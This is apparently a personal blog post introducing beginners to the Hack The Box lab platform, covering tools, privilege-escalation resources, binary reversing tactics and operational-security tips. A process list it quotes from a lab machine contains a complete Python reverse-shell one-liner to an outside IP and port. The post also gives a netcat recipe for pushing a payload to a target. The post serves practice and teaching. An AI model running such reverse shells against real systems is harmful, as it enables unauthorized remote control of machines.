What is Hack The Box ?

A week ago I started hacking virtual machines and challenges at Hackthebox.eu and it has been a lot of fun. Hack The Box provides it’s users with a virtual environment with dedicated vulnerable machines and some CTF-style challenges. This post contains some pointers and introductory tips for aspiring would-be hackers, but no spoilers and you still need to solve the invitation code.
At my day job I try to ensure that the software we produce is secure. Sometimes it involves doing penetration testing, but I’m not doing the fancy Red Teaming stuff at all. If I find technical security flaws or process issues, they are fixed and there’s rarely any public disclosure.  There might be a review and retrospective, but no one pays me to chain cool ROP gadgets to prove that a buffer overflow can be very dangerous. Now Hackthebox.eu has provided me with an excuse to do that other kind of hacking too.

How to get started?

You’ll need some basic tools. Kali Linux in a virtual machine and some HTTP proxy (Burp or ZAP) are sufficient for most of the things. Inside Kali, nmap, dirb, nikto and Metasploit have been my most useful tools so far.
To get an idea about the hacking (as well as some tips), watch IppSec’s great videos about pwning the retired machines. For example, watch the  video about pwning Popcorn.

Pwning machines

It appears that first you need to recon the machine by running nmap and dirb and other scanners to find something exploitable. Often it’s a web application, but it can be something else too. When you find “something”, try to exploit it somehow. Get some ideas about how to find & exploit that “something” from High on Coffee: penetration testing cheat sheet.
I’m not a huge fan of having to guess something artificial, but that’s not totally unrealistic. I’m not very good at that it seems, but hopefully I’ll get better. Just keep in mind, there are steps where you may need to simply guess something.

Getting from user to root

I suck at pwning Windows machines, which is something I intend to practice next, but
these links offer some ideas for the Linux/Unix systems:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://www.rebootuser.com/?p=1758
https://www.rebootuser.com/?p=1623
Of course you need to understand how Linux systems work in the first place. Crontab, file system permissions, sudo and all that other basic admin stuff.

Binary reverse engineering challenges

In order to reverse binaries in the challenges, you need some knowledge of x86 assembly. The easier ones are not really difficult, but if you can’t read assembler code, it will be quite hard.
I have tried x64dbg, Hopper, radare2, IDA (free version) and the good old OllyDbg so far. I also downloaded Binary Ninja, but haven’t really tried it yet. While I don’t want to debate the merits these tools, I have found x64dbg most to my liking so far. Gives me the same vibes I felt with the ancient Turbo Debugger about 25 years ago.
My strategy so far has been straightforward:
1. Analyze what the program actually does.
2. See if there are interesting strings inside and how they are used.
3. Try to get rid of obfuscation and anti-debugging stuff by rewriting the code.
4. Try to make sense of the remaining final checking code. (single step, breakpoints etc.)
5. Perhaps write a small Python script to reveal the flag.
Some links which might be useful:
https://www.u235.io/single-post/2017/07/23/Simplistic-Binary-Patching-With-Radare2 https://erichokanson.me/2015/04/17/reverse-engineering-with-ollydbg/
Simply replacing the annoying stuff with NOP instructions is a good starting strategy. If the state of the system (registers and flags) are not affected, this works pretty well.
Get rid of the pesky antidebugging code!

It’s not real life

I have had fun with Hack the box (as well as some frustration also), but it has been extremely interesting to peek at what other people are doing on the machines. Here are some of my findings.

Scripters are running wild

Here’s a sample of process list from one of the machines:

www-data 2555 0.0 0.3 18904 3604 ? S 10:24 0:00 /bin/bash ./LinEnum.sh -t
www-data 2556 0.0 0.3 19004 3464 ? S 10:24 0:00 /bin/bash ./LinEnum.sh -t
www-data 1428 0.0 0.0 4508 704 ? S 10:15 0:00 sh -c cd /tmp; python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket
.SOCK_STREAM);s.connect((“10.10.15.228”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ 2>&1
www-data 1429 0.0 0.9 39980 9668 ? S 10:15 0:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect((“10.10.15.228”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);
www-data 1430 0.0 0.0 4508 784 ? S 10:15 0:00 /bin/sh -i
www-data 1443 0.0 1.2 256212 12588 ? S 10:15 0:00 /usr/sbin/apache2 -k start
www-data 1493 0.0 0.6 32168 6680 ? S 10:16 0:00 python -c import pty;pty.spawn(“/bin/bash”)
www-data 1494 0.0 0.3 18216 3064 pts/3 Ss 10:16 0:00 /bin/bash
www-data 1501 0.0 0.0 4508 752 ? S 10:16 0:00 sh -c cd /tmp; python -c “import pty; pty.spawn(‘/bin/bash’)” 2>&1
www-data 1502 0.0 0.6 32168 6780 ? S 10:16 0:00 python -c import pty; pty.spawn(‘/bin/bash’)

In a real system, this should light up the IDS/SIEM like a christmas tree. Even a cursory look by the administrator with ps -Af would immediately reveal that something bad is happening.
Therefore, in a real pentest (of course neither of us would do any illegal hacking), the tester would run something innocent, like testrunner.sh, which would hide the nefarious activities from immediate discovery. It would be in some obscure innocent folder or completely reside in memory. Most certainly, a professional wouldn’t upload anything named “reverse-shell.php” to the server.
Reverse shells still would show up in network connections unless masquaraded with some network magic, but that process list is just plain funny 🙂
It’s quite different also for the reverse engineering. Especially reversing unknown (potential) malware is something I would approach with extreme caution. Just single-stepping and setting breakpoints in a debugger would not be enough to contain a malicious binary.
So if you want to practice for real life scenarios, I would suggest that instead of going straight for the flag, you should practice the same precautions and steps you would need in the real world. Having fun is perfectly fine, nothing wrong with that.

Don’t get accidentally exposed!

As a first step, don’t hack with your important machine. As a minimum, shut down the VPN when not using it and use a virtual machine (or a burner machine) when you connect to a potentially hostile unknown network.
A lot of people seem to be running python -m SimpleHTTPServer or something similar to host the payloads to be downloaded by the target machine. Please consider that there are other hackers working on the same machine and if you expose your hard disk to the target machine, someone else could download something interesting from your computer. Like, say, your private ssh key. SimpleHTTPServer is super handy, but it does not care about security!
Either work with something which only allows downloading your exploit.exe or immediately shut down the server after your tools have been downloaded on the target.
Here’s a way to do it with netcat:

1. On the target, start listening:
nc -l 8080 > bash.sh
2. On your attacker machine, send your evil payload:
nc -w 3 localhost 8080 < LinEnum.sh

Whether this trick works depends on the firewall rules, but as a minimal precaution, shut down your server on your machine immediately after the file transfer.

Some final tips and ideas

Tip 1: Learn Python

Python is great for quickly cooking up some automation and helper programs. You don’t need static types or classes to structure your code. But make no mistake: Python is definitely a serious programming language and not just a “scripting language”.
Here’s an example from a script I wrote to automate guessing passwords and users for a certain service.

Tip 2: Keep notes

Keep notes on the challenges and machines. I have a subfolder for each machine with more or less incoherent notes on what I have found and what I haven’t yet figured out about the machine. I may put this stuff on a private git repository to get it better organized.

Tip 3: Use the google

This is kind of obvious, but enumerate the versions and search for possible exploits in exploit-db and other places. I precompiled some exploits already and kept the binary executables in addition to source code. I might need some sort of Excel sheet or something to keep track of these if there are more to come.

Happy hacking!

It’s worth mentioning that Hack The Box contains more than just binary reverse engineering and pwning machines. I left out advice for some challenges, like steganography, which I haven’t really done. I’m not qualified to give any advice on that.
If you now feel the itch to try out some “real” hacking, please do. The best way to learn is by doing and Hack The Box is a great platform to practice on.